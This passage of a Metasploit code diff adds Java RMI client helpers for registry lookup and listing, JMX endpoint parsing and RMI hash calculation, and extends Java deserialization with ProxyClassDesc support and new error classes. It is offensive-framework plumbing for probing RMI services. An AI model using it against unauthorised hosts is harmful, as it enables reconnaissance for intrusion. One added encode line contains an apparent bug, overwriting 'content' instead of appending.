+module Msf + module Java + module Rmi + module Client + module Jmx + module Server + module Parser + # Parses a javax/management/remote/rmi/RMIServer_Stub#newClient() return value + # to find out the remote reference information. + # + # @param return_value [Rex::Java::Serialization::Model::ReturnValue] + # @return [Hash, NilClass] The remote interface information if success, nil otherwise + def parse_jmx_new_client_endpoint(return_value) + values_size = return_value.value.length + end_point_block_data = return_value.value[values_size - 2] + + unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData) + return nil + end + + return_io = StringIO.new(end_point_block_data.contents, 'rb') + + reference = extract_reference(return_io) + + reference + end + end + end + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/registry.rb b/lib/msf/java/rmi/client/registry.rb new file mode 100644 index 0000000000..3a10d7b2ea --- /dev/null +++ b/lib/msf/java/rmi/client/registry.rb @@ -0,0 +1,129 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Rmi + module Client + # This mixin provides methods to simulate calls to the Java java/rmi/registry/RegistryImpl_Stub + # interface + module Registry + require 'msf/java/rmi/client/registry/builder' + require 'msf/java/rmi/client/registry/parser' + + include Msf::Java::Rmi::Client::Registry::Builder + include Msf::Java::Rmi::Client::Registry::Parser + + # Sends a Registry lookup call to the RMI endpoint. Simulates a call to the Java + # java/rmi/registry/RegistryImpl_Stub#lookup() method. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Hash, NilClass] The remote reference information if success, nil otherwise + # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception + # @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_lookup + def send_registry_lookup(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_registry_lookup(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + remote_object = return_value.get_class_name + + if remote_object.nil? + return nil + end + + remote_location = parse_registry_lookup_endpoint(return_value) + + if remote_location.nil? + return nil + end + + remote_location.merge(object: remote_object) + end + + # Sends a Registry list call to the RMI endpoint. Simulates a call to the Java + # java/rmi/registry/RegistryImpl_Stub#list() method + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Array, NilClass] The set of names if success, nil otherwise + # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception + # @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_list + def send_registry_list(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_registry_list(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + if return_value.nil? + return nil + end + + if return_value.is_exception? + raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name + end + + names = parse_registry_list(return_value) + + names + end + + # Calculates the hash to make RMI calls for the + # java/rmi/registry/RegistryImpl_Stub interface + # + # @return [Fixnum] The interface's hash + def registry_interface_hash + hash = calculate_interface_hash( + [ + { + name: 'bind', + descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V', + exceptions: ['java.rmi.AccessException', 'java.rmi.AlreadyBoundException', 'java.rmi.RemoteException'] + }, + { + name: 'list', + descriptor: '()[Ljava/lang/String;', + exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException'] + }, + { + name: 'lookup', + descriptor: '(Ljava/lang/String;)Ljava/rmi/Remote;', + exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException'] + }, + { + name: 'rebind', + descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V', + exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException'] + }, + { + name: 'unbind', + descriptor: '(Ljava/lang/String;)V', + exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException'] + } + ] + ) + + hash + end + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/registry/builder.rb b/lib/msf/java/rmi/client/registry/builder.rb new file mode 100644 index 0000000000..acc9b11113 --- /dev/null +++ b/lib/msf/java/rmi/client/registry/builder.rb @@ -0,0 +1,66 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Rmi + module Client + module Registry + module Builder + + # Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#lookup() used to + # retrieve the remote reference bound to a name. + # + # @param opts [Hash] + # @option opts [String] :name the name to lookup + # @return [Rex::Proto::Rmi::Model::Call] + # @see Msf::Java::Rmi::Builder.build_call + def build_registry_lookup(opts = {}) + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + name = opts[:name] || '' + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: 2, # java.rmi.Remote lookup(java.lang.String) + hash: registry_interface_hash, + arguments: [Rex::Java::Serialization::Model::Utf.new(nil, name)] + ) + + call + end + + # Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#list() used to + # enumerate the names bound in a registry + # + # @param opts [Hash] + # @return [Rex::Proto::Rmi::Model::Call] + # @see Msf::Java::Rmi::Builder.build_call + def build_registry_list(opts = {}) + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: 1, # java.lang.String list()[] + hash: registry_interface_hash, + arguments: [] + ) + + call + end + end + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/registry/parser.rb b/lib/msf/java/rmi/client/registry/parser.rb new file mode 100644 index 0000000000..9ed55c0f2d --- /dev/null +++ b/lib/msf/java/rmi/client/registry/parser.rb @@ -0,0 +1,49 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Rmi + module Client + module Registry + module Parser + # Parses a java/rmi/registry/RegistryImpl_Stub#lookup() return value to find out + # the remote reference information. + # + # @param return_value [Rex::Java::Serialization::Model::ReturnValue] + # @return [Hash, NilClass] The remote interface information if success, nil otherwise + def parse_registry_lookup_endpoint(return_value) + values_size = return_value.value.length + end_point_block_data = return_value.value[values_size - 2] + unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData) + return nil + end + + return_io = StringIO.new(end_point_block_data.contents, 'rb') + + reference = extract_reference(return_io) + + reference + end + + # Parses a java/rmi/registry/RegistryImpl_Stub#list() return value to find out + # the list of names registered. + # + # @param return_value [Rex::Java::Serialization::Model::ReturnValue] + # @return [Array, NilClass] The list of names registered if success, nil otherwise + def parse_registry_list(return_value) + unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewArray) + return nil + end + + unless return_value.value[0].type == 'java.lang.String;' + return nil + end + + return_value.value[0].values.collect { |val| val.contents } + end + end + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/streams.rb b/lib/msf/java/rmi/client/streams.rb deleted file mode 100644 index 215e4b0a8e..0000000000 --- a/lib/msf/java/rmi/client/streams.rb +++ /dev/null @@ -1,70 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/java/serialization' - -module Msf - module Java - module Rmi - module Client - module Streams - - # Builds a RMI header stream - # - # @param opts [Hash{Symbol => }] - # @option opts [String] :signature - # @option opts [Fixnum] :version - # @option opts [Fixnum] :protocol - # @return [Rex::Proto::Rmi::Model::OutputHeader] - def build_header(opts = {}) - signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE - version = opts[:version] || 2 - protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL - - header = Rex::Proto::Rmi::Model::OutputHeader.new( - signature: signature, - version: version, - protocol: protocol) - - header - end - - # Builds a RMI call stream - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :message_id - # @option opts [Rex::Java::Serialization::Model::Stream] :call_data - # @return [Rex::Proto::Rmi::Model::Call] - def build_call(opts = {}) - message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE - call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new - - call = Rex::Proto::Rmi::Model::Call.new( - message_id: message_id, - call_data: call_data - ) - - call - end - - # Builds a RMI dgc ack stream - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :stream_id - # @option opts [String] :unique_identifier - # @return [Rex::Proto::Rmi::Model::DgcAck] - def build_dgc_ack(opts = {}) - stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE - unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - - dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new( - stream_id: stream_id, - unique_identifier: unique_identifier - ) - - dgc_ack - end - end - end - end - end -end diff --git a/lib/msf/java/rmi/util.rb b/lib/msf/java/rmi/util.rb new file mode 100644 index 0000000000..61e70c8238 --- /dev/null +++ b/lib/msf/java/rmi/util.rb @@ -0,0 +1,123 @@ +# -*- coding: binary -*- +require 'rex/java/serialization' +require 'rex/text' + +module Msf + module Java + module Rmi + module Util + # Calculates a method hash to make RMI calls as defined by the JDK 1.2 + # + # @param signature [String] The remote method signature as specified by the JDK 1.2, + # method name + method descriptor (as explained in the Java Virtual Machine Specification) + # @return [Fixnum] The method hash + # @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how method hashes are calculated + def calculate_method_hash(signature) + utf = Rex::Java::Serialization::Model::Utf.new(nil, signature) + sha1 = Rex::Text.sha1_raw(utf.encode) + + sha1.unpack('Q<')[0] + end + + # Calculates an interface hash to make RMI calls as defined by the JDK 1.1 + # + # @param methods [Array] set of method names and their descriptors + # @param exceptions [Array] set of declared exceptions + # @return [Fixnum] The interface hash + # @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how interface hashes are calculated + def calculate_interface_hash(methods) + stream = '' + stream << [1].pack('N') # stub version number + + methods.each do |m| + utf_method = Rex::Java::Serialization::Model::Utf.new(nil, m[:name]) + utf_descriptor = Rex::Java::Serialization::Model::Utf.new(nil, m[:descriptor]) + stream << utf_method.encode + stream << utf_descriptor.encode + m[:exceptions].each do |e| + utf_exception = Rex::Java::Serialization::Model::Utf.new(nil, e) + stream << utf_exception.encode + end + end + + sha1 = Rex::Text.sha1_raw(stream) + + sha1.unpack('Q<')[0] + end + + # Extracts an string from an IO + # + # @param io [IO] the io to extract the string from + # @return [String, nil] the extracted string if success, nil otherwise + def extract_string(io) + raw_length = io.read(2) + unless raw_length && raw_length.length == 2 + return nil + end + length = raw_length.unpack('s>')[0] + + string = io.read(length) + unless string && string.length == length + return nil + end + + string + end + + # Extracts an int from an IO + # + # @param io [IO] the io to extract the int from + # @return [Fixnum, nil] the extracted int if success, nil otherwise + def extract_int(io) + int_raw = io.read(4) + unless int_raw && int_raw.length == 4 + return nil + end + int = int_raw.unpack('l>')[0] + + int + end + + # Extracts a long from an IO + # + # @param io [IO] the io to extract the long from + # @return [Fixnum, nil] the extracted int if success, nil otherwise + def extract_long(io) + int_raw = io.read(8) + unless int_raw && int_raw.length == 8 + return nil + end + int = int_raw.unpack('q>')[0] + + int + end + + # Extract an RMI interface reference from an IO + # + # @param io [IO] the io to extract the reference from, should contain the data + # inside a BlockData with the reference information. + # @return [Hash, nil] the extracted reference if success, nil otherwise + # @see Msf::Java::Rmi::Client::Jmx:Server::Parser#parse_jmx_new_client_endpoint + # @see Msf::Java::Rmi::Client::Registry::Parser#parse_registry_lookup_endpoint + def extract_reference(io) + ref = extract_string(io) + unless ref && ref == 'UnicastRef' + return nil + end + + address = extract_string(io) + return nil unless address + + port = extract_int(io) + return nil unless port + + object_number = extract_long(io) + + uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io) + + {address: address, port: port, object_number: object_number, uid: uid} + end + end + end + end +end diff --git a/lib/rex/java/serialization.rb b/lib/rex/java/serialization.rb index 0761c15fdb..c556ab7540 100644 --- a/lib/rex/java/serialization.rb +++ b/lib/rex/java/serialization.rb @@ -51,5 +51,7 @@ module Rex end end +require 'rex/java/serialization/decode_error' +require 'rex/java/serialization/encode_error' require 'rex/java/serialization/model' require 'rex/java/serialization/builder' \ No newline at end of file diff --git a/lib/rex/java/serialization/decode_error.rb b/lib/rex/java/serialization/decode_error.rb new file mode 100644 index 0000000000..e45964abfb --- /dev/null +++ b/lib/rex/java/serialization/decode_error.rb @@ -0,0 +1,11 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + class DecodeError < ::RuntimeError + + end + end + end +end \ No newline at end of file diff --git a/lib/rex/java/serialization/encode_error.rb b/lib/rex/java/serialization/encode_error.rb new file mode 100644 index 0000000000..483ad3401e --- /dev/null +++ b/lib/rex/java/serialization/encode_error.rb @@ -0,0 +1,11 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + class EncodeError < ::RuntimeError + + end + end + end +end \ No newline at end of file diff --git a/lib/rex/java/serialization/model.rb b/lib/rex/java/serialization/model.rb index f885a35ae9..a5587660fd 100644 --- a/lib/rex/java/serialization/model.rb +++ b/lib/rex/java/serialization/model.rb @@ -15,6 +15,7 @@ module Rex autoload :Field, 'rex/java/serialization/model/field' autoload :LongUtf, 'rex/java/serialization/model/long_utf' autoload :NewArray, 'rex/java/serialization/model/new_array' + autoload :ProxyClassDesc, 'rex/java/serialization/model/proxy_class_desc' autoload :NewClassDesc, 'rex/java/serialization/model/new_class_desc' autoload :NewEnum, 'rex/java/serialization/model/new_enum' autoload :NewObject, 'rex/java/serialization/model/new_object' diff --git a/lib/rex/java/serialization/model/annotation.rb b/lib/rex/java/serialization/model/annotation.rb index d4ef420d9b..95b3bd9fa7 100644 --- a/lib/rex/java/serialization/model/annotation.rb +++ b/lib/rex/java/serialization/model/annotation.rb @@ -24,7 +24,7 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) loop do content = decode_content(io, stream) @@ -38,9 +38,9 @@ module Rex # Serializes the Rex::Java::Serialization::Model::Annotation # # @return [String] if serialization suceeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode - raise ::RuntimeError, 'Failed to serialize Annotation with empty contents' if contents.empty? + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Annotation with empty contents' if contents.empty? encoded = '' diff --git a/lib/rex/java/serialization/model/block_data.rb b/lib/rex/java/serialization/model/block_data.rb index 7f103ebf12..c92edaed13 100644 --- a/lib/rex/java/serialization/model/block_data.rb +++ b/lib/rex/java/serialization/model/block_data.rb @@ -26,10 +26,10 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) raw_length = io.read(1) - raise RuntimeError, 'Failed to unserialize BlockData' if raw_length.nil? + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData' if raw_length.nil? self.length = raw_length.unpack('C')[0] if length == 0 @@ -37,7 +37,7 @@ module Rex else self.contents = io.read(length) if contents.nil? || contents.length != length - raise RuntimeError, 'Failed to unserialize BlockData' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData' end end diff --git a/lib/rex/java/serialization/model/block_data_long.rb b/lib/rex/java/serialization/model/block_data_long.rb index 34adbac6d5..55002ebad2 100644 --- a/lib/rex/java/serialization/model/block_data_long.rb +++ b/lib/rex/java/serialization/model/block_data_long.rb @@ -26,11 +26,11 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) raw_length = io.read(4) if raw_length.nil? || raw_length.length != 4 - raise ::RuntimeError, 'Failed to unserialize BlockDataLong' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockDataLong' end self.length = raw_length.unpack('N')[0] @@ -39,7 +39,7 @@ module Rex else self.contents = io.read(length) if contents.nil? || contents.length != length - raise ::RuntimeError, 'Failed to unserialize BlockData' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData' end end diff --git a/lib/rex/java/serialization/model/class_desc.rb b/lib/rex/java/serialization/model/class_desc.rb index ad69f58c1f..927e2ef47e 100644 --- a/lib/rex/java/serialization/model/class_desc.rb +++ b/lib/rex/java/serialization/model/class_desc.rb @@ -21,13 +21,13 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) content = decode_content(io, stream) - allowed_contents = [NullReference, NewClassDesc, Reference] + allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc] unless allowed_contents.include?(content.class) - raise ::RuntimeError, 'ClassDesc unserialize failed' + raise Rex::Java::Serialization::DecodeError, 'ClassDesc unserialize failed' end self.description = content @@ -37,13 +37,13 @@ module Rex # Serializes the Rex::Java::Serialization::Model::ClassDesc # # @return [String] if serialization succeeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode encoded = '' - allowed_contents = [NullReference, NewClassDesc, Reference] + allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc] unless allowed_contents.include?(description.class) - raise ::RuntimeError, 'Failed to serialize ClassDesc' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize ClassDesc' end encoded << encode_content(description) diff --git a/lib/rex/java/serialization/model/contents.rb b/lib/rex/java/serialization/model/contents.rb index fae30ac689..1f70781ff2 100644 --- a/lib/rex/java/serialization/model/contents.rb +++ b/lib/rex/java/serialization/model/contents.rb @@ -11,10 +11,10 @@ module Rex # # @param io [IO] the io to read from # @return [Rex::Java::Serialization::Model::Element] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed or unsupported content + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed or unsupported content def decode_content(io, stream) opcode = io.read(1) - raise ::RuntimeError, 'Failed to unserialize content' if opcode.nil? + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content' if opcode.nil? opcode = opcode.unpack('C')[0] content = nil @@ -42,17 +42,17 @@ module Rex when TC_CLASSDESC content = NewClassDesc.decode(io, stream) when TC_PROXYCLASSDESC - raise ::RuntimeError, 'Failed to unserialize unsupported TC_PROXYCLASSDESC content' + content = ProxyClassDesc.decode(io, stream) when TC_REFERENCE content = Reference.decode(io, stream) when TC_NULL content = NullReference.decode(io, stream) when TC_EXCEPTION - raise ::RuntimeError, 'Failed to unserialize unsupported TC_EXCEPTION content' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize unsupported TC_EXCEPTION content' when TC_RESET content = Reset.decode(io, stream) else - raise ::RuntimeError, 'Failed to unserialize content' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content' end content @@ -62,7 +62,7 @@ module Rex # # @param content [Rex::Java::Serialization::Model::Element] the content to serialize # @return [String] if serialization succeeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode_content(content) encoded = '' @@ -87,6 +87,8 @@ module Rex encoded << [TC_ENUM].pack('C') when NewClassDesc encoded << [TC_CLASSDESC].pack('C') + when ProxyClassDesc + content = [TC_PROXYCLASSDESC].pack('C') when NullReference encoded << [TC_NULL].pack('C') when Reset @@ -94,7 +96,7 @@ module Rex when Reference encoded << [TC_REFERENCE].pack('C') else - raise ::RuntimeError, 'Failed to serialize content' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content' end encoded << content.encode @@ -105,6 +107,7 @@ module Rex # # @param content [Rex::Java::Serialization::Model::Element] the content to print # @return [String] + # @raise [Rex::Java::Serialization::EncodeError] if the content is unknown def print_content(content) str = '' @@ -129,6 +132,8 @@ module Rex str << "#{print_class(content)} { #{content.to_s} }" when NewClassDesc str << "#{print_class(content)} { #{content.to_s} }" + when ProxyClassDesc + str << "#{print_class(content)} { #{content.to_s} }" when NullReference str << "#{print_class(content)}" when Reset @@ -136,7 +141,7 @@ module Rex when Reference str << "#{print_class(content)} { #{content.to_s} }" else - raise ::RuntimeError, 'Failed to serialize content' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content' end str diff --git a/lib/rex/java/serialization/model/field.rb b/lib/rex/java/serialization/model/field.rb index d84ad29a13..b560e3606a 100644 --- a/lib/rex/java/serialization/model/field.rb +++ b/lib/rex/java/serialization/model/field.rb @@ -11,13 +11,13 @@ module Rex include Rex::Java::Serialization::Model::Contents # @!attribute type - # @return [String] The type of the field. + # @return [String] The type of the field. attr_accessor :type # @!attribute name - # @return [Rex::Java::Serialization::Model::Utf] The name of the field. + # @return [Rex::Java::Serialization::Model::Utf] The name of the field. attr_accessor :name # @!attribute field_type - # @return [Rex::Java::Serialization::Model::Utf] The type of the field on object types. + # @return [Rex::Java::Serialization::Model::Utf] The type of the field on object types. attr_accessor :field_type # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to @@ -32,12 +32,12 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @faise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) code = io.read(1) unless code && is_valid?(code) - raise ::RuntimeError, 'Failed to unserialize Field' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field' end self.type = TYPE_CODES[code] @@ -53,14 +53,14 @@ module Rex # Serializes the Rex::Java::Serialization::Model::Field # # @return [String] if serialization succeeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode unless name.kind_of?(Rex::Java::Serialization::Model::Utf) - raise ::RuntimeError, 'Failed to serialize Field' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field' end unless is_type_valid? - raise ::RuntimeError, 'Failed to serialize Field' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field' end encoded = '' @@ -138,11 +138,12 @@ module Rex # Serializes the `field_type` attribute. # # @return [String] + # @raise [Rex::Java::Serialization::EncodeError] if serialization fails def encode_field_type allowed_contents = [Utf, Reference] unless allowed_contents.include?(field_type.class) - raise ::RuntimeError, 'Failed to serialize Field' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field' end encoded = encode_content(field_type) @@ -154,13 +155,13 @@ module Rex # # @param io [IO] the io to read from # @return [Java::Serialization::Model::Utf] - # @raise [RuntimeError] if unserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if unserialization doesn't succeed def decode_field_type(io) allowed_contents = [Utf, Reference] type = decode_content(io, stream) unless allowed_contents.include?(type.class) - raise ::RuntimeError, 'Failed to unserialize Field field_type' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field field_type' end type diff --git a/lib/rex/java/serialization/model/long_utf.rb b/lib/rex/java/serialization/model/long_utf.rb index 8ba2413200..df567bb6f0 100644 --- a/lib/rex/java/serialization/model/long_utf.rb +++ b/lib/rex/java/serialization/model/long_utf.rb @@ -11,11 +11,11 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @return [nil] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) raw_length = io.read(8) if raw_length.nil? || raw_length.length != 8 - raise ::RuntimeError, 'Failed to unserialize LongUtf' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf' end self.length = raw_length.unpack('Q>')[0] @@ -24,7 +24,7 @@ module Rex else self.contents = io.read(length) if contents.nil? || contents.length != length - raise ::RuntimeError, 'Failed to unserialize LongUtf' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf' end end diff --git a/lib/rex/java/serialization/model/new_array.rb b/lib/rex/java/serialization/model/new_array.rb index c2ab0630a8..86ff3b0acb 100644 --- a/lib/rex/java/serialization/model/new_array.rb +++ b/lib/rex/java/serialization/model/new_array.rb @@ -31,7 +31,7 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) self.array_description = ClassDesc.decode(io, stream) stream.add_reference(self) unless stream.nil? @@ -50,10 +50,10 @@ module Rex # Serializes the Rex::Java::Serialization::Model::NewArray # # @return [String] if serialization succeeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode unless array_description.kind_of?(ClassDesc) - raise ::RuntimeError, 'Failed to serialize NewArray' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewArray' end encoded = '' @@ -83,11 +83,11 @@ module Rex # # @param io [IO] the io to read from # @return [Integer] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode_values_length(io) values_length = io.read(4) if values_length.nil? || values_length.length != 4 - raise ::RuntimeError, 'Failed to unserialize NewArray' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewArray' end values_length.unpack('N')[0] @@ -96,15 +96,15 @@ module Rex # Extracts the NewArray data type # # @return [String] - # @raise [RuntimeError] if the NewArray description isn't valid - # @raise [RuntimeError] if the NewArray type isn't supported + # @raise [Rex::Java::Serialization::DecodeError] if the NewArray description isn't valid + # or type isn't supported def array_type if array_description.nil? - raise ::RuntimeError, 'Empty NewArray description' + raise Rex::Java::Serialization::DecodeError, 'Empty NewArray description' end unless array_description.kind_of?(ClassDesc) - raise ::RuntimeError, 'Unsupported NewArray description class' + raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description class' end desc = array_description.description @@ -115,7 +115,7 @@ module Rex end unless desc.class_name.contents[0] == '[' # Array - raise ::RuntimeError, 'Unsupported NewArray description' + raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description' end decoded_type = desc.class_name.contents[1] @@ -124,7 +124,7 @@ module Rex elsif decoded_type == 'L' # L : Object return desc.class_name.contents[2..desc.class_name.contents.index(';')] # Object class else - raise ::RuntimeError, 'Unsupported NewArray Type' + raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray Type' end end @@ -132,54 +132,54 @@ module Rex # # @param io [IO] the io to read from # @return [Fixnum, Float] if deserialization succeeds - # @raise [RuntimeError] if deserialization fails + # @raise [Rex::Java::Serialization::DecodeError] if deserialization fails def decode_value(io) value = nil case type when 'byte' value = io.read(1) - raise ::RuntimeError, 'Failed to deserialize NewArray value' if value.nil? + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil? value = value.unpack('c')[0] when 'char' value = io.read(2) unless value && value.length == 2 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value = value.unpack('s>')[0] when 'double' value = io.read(8) unless value && value.length == 8 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value = value.unpack('G')[0] when 'float' value = io.read(4) unless value && value.length == 4 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value = value.unpack('g')[0] when 'int' value = io.read(4) unless value && value.length == 4 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value = value.unpack('l>')[0] when 'long' value = io.read(8) unless value && value.length == 8 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value = value.unpack('q>')[0] when 'short' value = io.read(2) unless value && value.length == 2 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value = value.unpack('s>')[0] when 'boolean' value = io.read(1) - raise ::RuntimeError, 'Failed to deserialize NewArray value' if value.nil? + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil? value = value.unpack('c')[0] else # object value = decode_content(io, stream) @@ -190,10 +190,9 @@ module Rex # Serializes an NewArray value # - # @param value [Fixnum] the value to serialize - # @param value [Float] the value to serialize + # @param value [] the value to serialize # @return [String] the serialized value - # @raise [RuntimeError] if serialization fails + # @raise [Rex::Java::Serialization::EncodeError] if serialization fails def encode_value(value) res = '' diff --git a/lib/rex/java/serialization/model/new_class_desc.rb b/lib/rex/java/serialization/model/new_class_desc.rb index c665ebb593..b7b98a307b 100644 --- a/lib/rex/java/serialization/model/new_class_desc.rb +++ b/lib/rex/java/serialization/model/new_class_desc.rb @@ -12,16 +12,16 @@ module Rex # @!attribute class_name # @return [Rex::Java::Serialization::Model::Utf] The name of the class attr_accessor :class_name - # @!attribute name - # @return [Integer] The java class serial version + # @!attribute serial_version + # @return [Fixnum] The java class serial version attr_accessor :serial_version # @!attribute flags - # @return [Integer] The java class flags + # @return [Fixnum] The java class flags attr_accessor :flags # @!attribute fields # @return [Array] The java class fields attr_accessor :fields - # @!attribute fields + # @!attribute class_annotation # @return [Rex::Java::Serialization::Model::Annotation] The java class annotations attr_accessor :class_annotation # @!attribute super_class @@ -39,11 +39,11 @@ module Rex self.super_class = nil end - # Deserializes a Rex::Java::Serialization::Model::ClassDescription + # Deserializes a Rex::Java::Serialization::Model::NewClassDesc # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't 